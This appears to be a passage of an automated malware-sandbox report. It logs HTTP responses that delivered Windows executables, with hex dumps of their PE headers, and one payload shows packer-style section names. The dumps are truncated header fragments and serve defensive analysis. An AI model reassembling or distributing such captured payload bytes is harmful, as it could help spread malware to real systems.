0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 09:09:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 09:09:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 09:09:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 09:09:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 09:09:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 26 Nov 2024 09:09:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 26 Nov 2024 09:09:43 GMTContent-Type: application/octet-streamContent-Length: 1884160Last-Modified: Tue, 26 Nov 2024 08:49:33 GMTConnection: keep-aliveETag: "67458b9d-1cc000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 b0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 4a 00 00 04 00 00 5b 83 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 93 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 93 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 72 7a 66 7a 6a 79 67 00 b0 19 00 00 f0 30 00 00 a4 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 61 6b 75 75 69 6c 72 00 10 00 